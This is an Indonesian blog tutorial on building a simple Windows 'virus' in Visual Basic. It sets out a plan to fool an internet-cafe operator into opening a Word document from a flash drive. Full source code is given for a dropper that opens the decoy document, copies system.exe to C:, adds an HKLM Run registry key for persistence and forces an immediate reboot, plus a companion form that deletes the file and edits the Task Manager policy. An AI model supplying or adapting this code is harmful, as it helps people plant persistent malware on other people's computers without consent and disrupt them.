Membuat Virus dengan Visual Basic

Tutorial VB membuat Virus sederhana dengan bahasa pemrograman Visual Basic. Tugas sederhana
namun cocok untuk pembelajaran bagi kalian.

Sistem kerja program ini sama halnya seperti program virus yang biasa kita jumpai. Menyerang bagian registrasi dan melumpuhkan sistem komputer target. Akan tetapi setelah saya lihat bentuk source code program tersebut, dengan menggunakan koneksi antar form, dan penyerangan kedalam registry editor.
Pengaktifan program ini tergolong unik, karena tidak otomatis running ketika dicolokan Flasdisk, melainkan user secara aktif mengkliknya.

Jadi begini pengaktifannya. Dia datang kesebuah warnet tujuannya, untuk mencoba n membuat kesal OP tersebut. Dia berpura2 ingin melakukan print MS word yang sudah dia siapkan didalam flash disk na. Didalam Flash disk dia terdapat 2 MS word berbeda nama sesuai dengan direktorynya dan compille program VB virus ini. Setelah dia memberikan FD na, dia harus memastikan bahwa FD dia berada pada direktory apa, entah ada di "G" atau "F", yang pasti FD direktori tidak akan jauh2 pada hal tersebut. Dia akan memilih sebuah Word sesuai dengan direktorinya.  Setelah program MS word aktif, maka si virus secara aktif juga masuk dengan pengaktifan program Word yang telah dieksekusi. Setelah selesai dengan Print2 dummy tersebut, dia melepaskan FD yang menandakan delay waktu aktif virus dimulai. Seusai pergi, Virus aktif, restart, PC crash, dan tampil gambar dia.

sekian curhatnya...heleuhh panjang banget....

Berikut ini listing code dan cara pembuatannya hinga sampai kalian membuatnya secara utuh, dan mohon maaf saya tidak akan mengshre berupa downloadannya, takut disalah gunakan soalnya ^,..,^

1. Buatlah sebuah Progress bar didalam 1 form baru, bernama "antivirus". Didalam form ini kalian sisipkan 1 buah progress bar, untuk memberikan delay waktu pengaktifan program tersebut dan juga 1 buah timer. Tujuan ini dimaksudkan untuk kalian melakukan pengkebalan terhadap program yang telah kalian buat sendiri. Malu donk buat virus tapi tidak bisa mengatasinya ^<_^ - Masukan listing code ini pada timer yang telah kita buat pada form antivirus.

Private Sub Timer1_Timer()
If ProgressBar1.Value = 100 Then
Unload Me
MsgBox "T-Virus was Removed, your system will be reboot", vbInformation, "Congrat"
Shell ("shutdown.exe -r -t 01")

Else

ProgressBar1.Value = Val(ProgressBar1.Value) + Val(1)

End If
End Sub

Adapun maksud dari listing ini adalah ketika si progress bar berjalan hingga bernilai "100", maka form tidak akan tampil, sehingga menampilkan pesan seperti ini "T-Virus was Removed, your system will be reboot" yang menandakan program sudah aktif dan secara otomatis dengan menggunakan "Shell" untuk memanggil program bawaan windows yaitu "Shutdown.exe" yang penggunaan program tersebut dilakukan apabila sistem windows sedang mengalami crash atau hang pada pc, akan tetapi kali ini sistem tersebut saya gunakan sebagi bentuk restaran dengan tenggat waktu 1 detik.

- Masukan listing code ini pada Form_load()

Private Sub Form_Load()

Kill "C:\system.exe"


Dim x As Double
x = Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus)


BlockInput False
End Sub

Adapun maksud diatas adalah melakukan pendeletan langsung, atau saya sering katakan adalah serangan langsung terhadap program kita yang nantinya akan bertengger di direktory "C:" dengan nama program kita adalah nantinya "System.exe".
Setelahnya program kita akan secara otomatis masuk kedalam regedit (registry editor) yang mana akan menambakan value pada "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus". Maksud dari "d 0" adalah value penonaktifan pada "DisableTaskMgr".
Dan "BlockInput False" untuk pengaktifan keyboard kita.

- Masukan ini terlebih dahulu di bagian atas listing program tadi.

Option Explicit

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Selesailah kita membuat anti Virus atas program kita nantinya.


Sekarang kita akan berlanjut kepada pembuatan program utama kita, masih minat?okay lanjutkan.

Sebernya kita sudah membuat virus itu sendiri tanpa kalian sadari, Berdasarkan anti virus yang telah kalian buat, itulah program virus sederhana nya.

Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "F":

- Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load

Private Sub Form_Load()


Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("F:\T-V\Makalah.doc")
wrd.Activate


Dim mByte() As Byte
Open "F:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub

Maksud diatas adalah seperti yang sudah saya ceritakan, program ini berjalan setelah ms word aktif dimana word yang telah dibuka pada direktory "F:\T-V\Makalah.doc". Program akan secara aktif mengcopy kedalam dir "C:" yang akan membuat secara paksa file bernama "System.exe". Melakukan pengaktifan setelah dia restart dan menyusupkan key pada Regedit untuk auto run start up "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"

Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "G":

- Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load

Private Sub Form_Load()

Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("G:\T-V\Makalah.doc")
wrd.Activate

Dim mByte() As Byte
Open "G:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub

Untuk penjelasannya, sama seperti halnya diatas.

Jika link Membuat Virus Visual Basic berguna untuk kalian atau kalian suka dengan postingan ini, berikan komentar dibawah postingan ini sertakan dengan share di facebook kalian dengan men-like nya yooo. Jangan lupa untuk menshare  ilmu kalian ya, karena ilmu yang bermanfaat akan menambah pahala buat kalian sendiri.

Sekian dari saya, terima kasih atas kunjungannya ^<_,^ 

http://www.tutorial-vb.com/2011/08/membuat-virus-visual-basic.html